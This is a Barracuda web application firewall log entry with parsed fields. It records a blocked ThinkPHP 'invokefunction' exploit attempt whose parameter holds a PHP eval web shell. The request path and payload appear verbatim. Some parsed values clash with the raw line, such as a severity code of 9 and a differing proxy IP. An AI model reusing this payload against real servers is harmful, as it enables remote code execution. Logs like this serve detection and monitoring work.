<185>Jun 19 19:38:10 WAFirewall CEF:0|Barracuda|WAF|1220|159|OS_CMD_INJECTION_IN_PARAM|1|cat=WF dst=205.122.158.121 dpt=443 act=DENY msg=[type\="os-command-injection" pattern\="unix-shell-command-substrings" token\="@eval($_POST\\['hm147258'\\])" Parameter\="vars\\[1\\]\\[1\\]" value\="<?php @eval($_POST\\['hm147258'\\]);?>"] duser="-" src=110.0.186.62 spt=55957 requestMethod=GET app=TLSv1.2 requestContext=https://uweb1.unitedwayeservice.org//index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_p start=Jun 19 2024 19:38:10  rt=1718843890775  request=//index.php requestClientApplication="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" dvchost=WAFirewall externalId=19033145c57-42a6c9e1 cn2=55957 cn2Label=ProxyPort cs1=security-policy cs1Label=RuleID cs2=NONE cs2Label=FollowUpAction cs3=GLOBAL cs3Label=RuleType cs4=Injection Attacks cs4Label=AttackGroup cs5=110.0.186.62 cs5Label=ProxyIP cs6="-" cs6Label=SessionID 

This is a syslog message from a product called Barracuda WAF by Barracuda. The following fields were extracted from the message:
action: block
clientport: 55957
facilitycode: 23
facilitylabel: local7
fqdn: //index.php
localhostname: WAFirewall
localstarttime: 1718843890775 
messagetype: OS_CMD_INJECTION_IN_PARAM
priority: 185
senderhost: 10.0.0.250
sensitivity: normal
serverport: 443
severitycode: 9
severitylabel: alert
sourceinfo: unknown
tags: ['barracuda_waf_OS_CMD_INJECTION_IN_PARAM', 'barracuda_waf', 'cef', 'FollowUpAction:NONE', 'OS_CMD_INJECTION_IN_PARAM', 'RuleType:GLOBAL', 'ProxyIP:209.141.47.98', 'AttackGroup:Injection Attacks', 'rfc3164', 'RuleID:security-policy', 'SessionID:-']
vendorcode: 159
streamName: barracuda_waf
clientIP: 110.0.186.62
serverIP: 205.122.158.121
userName: -